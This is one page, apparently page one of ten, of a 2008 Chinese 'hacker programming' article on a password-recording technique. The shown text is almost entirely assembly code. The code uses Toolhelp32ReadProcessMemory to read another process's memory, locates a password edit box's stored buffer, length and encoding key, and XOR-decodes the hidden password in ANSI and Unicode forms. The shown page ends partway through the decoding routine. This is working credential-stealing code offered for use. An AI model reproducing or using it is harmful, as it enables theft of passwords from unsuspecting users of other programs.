安全中国首页 > 文章中心 > 黑客编程
 
在这里添加Edit控件密码窗口的秘密--一种全新的通用密码记录技术
更新时间:2008-3-24 0:12:15
责任编辑:阿loosen
热 点:


.endif

sub ecx,edi ;减REALCLIENTID

mov esi,ecx

;invoke wsprintf,offset bufferwndcont,offset wndcontformat,esi

;invoke MessageBox,0,offset bufferwndcont,offset vp,1

add esi,passoffset

invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL

.if eax == TRUE

mov ecx,offset buffer1

mov esi,[ecx]

.endif

;invoke wsprintf,offset bufferpassaddr,offset passaddrformat,esi

;invoke MessageBox,0,offset bufferpassaddr,offset vp,1

;得到密码长度

mov ecx,esi

add ecx,lenoffset

invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL

.if eax == TRUE

mov ecx,offset buffer1

mov ecx,[ecx]

mov PASSLEN,ecx

.endif

.if ecx>0 && ecx <32

;invoke wsprintf,offset bufferpasslen,offset passlenformat,ecx

;invoke MessageBox,0,offset bufferpasslen,offset vp,1

.else

invoke MessageBox,0,offset passerr,offset vp,1

ret

.endif

;得到加密密码的变量

mov ecx,esi

add ecx,0ECh

invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL

.if eax == TRUE

mov ecx,offset buffer1

MOV ECX,[ECX]

xor edx,edx

movzx edx,cl

mov ENCODE,EDX

.endif

;invoke wsprintf,offset bufferpass1,offset passformat,edx

;invoke MessageBox,0,offset bufferpass1,offset vp,1

;得到解密后的密码

mov ecx,esi

invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL

.if eax == TRUE

mov ecx,offset buffer1

mov ecx,[ecx]

.endif

invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL

.if eax == TRUE

mov ecx,offset buffer1

mov ecx,[ecx]

.endif

mov ebx,ecx

invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,PASSLEN,NULL

.if eax == TRUE

mov esi,offset buffer1

.endif

MOV EDX,ENCODE

mov cl,dl

mov edi,PASSLEN

@@nextpass:

CMP EDI,1

JBE @@firstpass

mov eax,esi

add eax,edi

mov dl,[eax-2]

xor dl,[eax-1]

xor dl,cl ;重要

mov [eax-1],dl

dec edi

jmp @@nextpass

@@firstpass:

or cl,43h ;WHY?

mov edx,offset buffer1

xor [edx],cl

;密码可能是UNICODE的

invoke lstrlenA,edx

.if eax<PASSLEN ;密码是UNICODE

mov edx,PASSLEN

add edx,edx

mov ecx,ebx

invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,edx,NULL

.if eax == TRUE

mov esi,offset buffer1

.endif

mov edi,PASSLEN

add edi,edi

MOV EDX,ENCODE

mov cl,dl

@@nextpass2:

CMP EDI,1

JBE @@firstpass2

mov eax,esi

add eax,edi

mov dl,[eax-2]

xor dl,[eax-1]

xor dl,cl ;重要

mov [eax-1],dl

dec edi

jmp @@nextpass2

上一页 1 2 3 4 5 6 7 8 9 10 下一页

 
相关文章
48小时热门文章
 
48小时热门软件
48小时热门动画